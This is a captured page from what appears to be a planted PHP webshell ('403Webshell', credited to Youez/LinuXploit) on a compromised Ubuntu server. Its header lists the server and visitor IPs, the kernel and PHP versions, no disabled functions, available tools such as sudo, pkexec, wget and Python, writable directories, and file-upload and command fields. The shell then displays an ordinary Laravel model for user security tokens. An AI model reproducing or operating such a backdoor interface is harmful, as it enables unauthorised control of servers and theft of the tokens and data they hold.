403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/project-slim/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/project-slim/app/Models/UserSecurity.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Relations\BelongsTo;

class UserSecurity extends BaseModel
{
    /**
     * The table associated with the model.
     */
    protected $table = 'repo_user_security';

    /**
     * The primary key for the model.
     */
    protected $primaryKey = 'user_id';

    /**
     * Indicates if the IDs are auto-incrementing.
     */
    public $incrementing = false;

    /**
     * The attributes that are mass assignable.
     */
    protected $fillable = [
        'user_id',
        'verification_token',
        'password_reset_token',
        'two_factor_secret',
        'two_factor_enabled',
        'login_attempts',
        'last_login_at',
        'locked_until',
        'password_reset_expires_at',
        'jwt_token'
    ];

    /**
     * The attributes that should be hidden for serialization.
     * Security-sensitive data and all ID fields
     */
    protected $hidden = [
        'id',
        'user_id',
        'verification_token',
        'password_reset_token',
        'two_factor_secret',
        'jwt_token',
        'company_id',
        'role_id',
        'report_id',
        'module_id'
    ];

    /**
     * The attributes that should be cast to native types.
     */
    protected $casts = [
        'password_reset_expires_at' => 'datetime',
        'updated_at' => 'datetime',
    ];

    /**
     * Get the user that owns the security record.
     */
    public function user(): BelongsTo
    {
        return $this->belongsTo(User::class, 'user_id', 'user_id');
    }

    /**
     * Check if password reset token is valid.
     */
    public function isPasswordResetTokenValid(): bool
    {
        return $this->password_reset_token && 
               $this->password_reset_expires_at && 
               $this->password_reset_expires_at->isFuture();
    }

    /**
     * Generate new verification token.
     */
    public function generateVerificationToken(): string
    {
        $this->verification_token = bin2hex(random_bytes(32));
        $this->save();
        return $this->verification_token;
    }

    /**
     * Generate new password reset token.
     */
    public function generatePasswordResetToken(int $expiryHours = 24): string
    {
        $this->password_reset_token = bin2hex(random_bytes(32));
        $this->password_reset_expires_at = now()->addHours($expiryHours);
        $this->save();
        return $this->password_reset_token;
    }

    /**
     * Clear verification token.
     */
    public function clearVerificationToken(): void
    {
        $this->verification_token = null;
        $this->save();
    }

    /**
     * Clear password reset token.
     */
    public function clearPasswordResetToken(): void
    {
        $this->password_reset_token = null;
        $this->password_reset_expires_at = null;
        $this->save();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit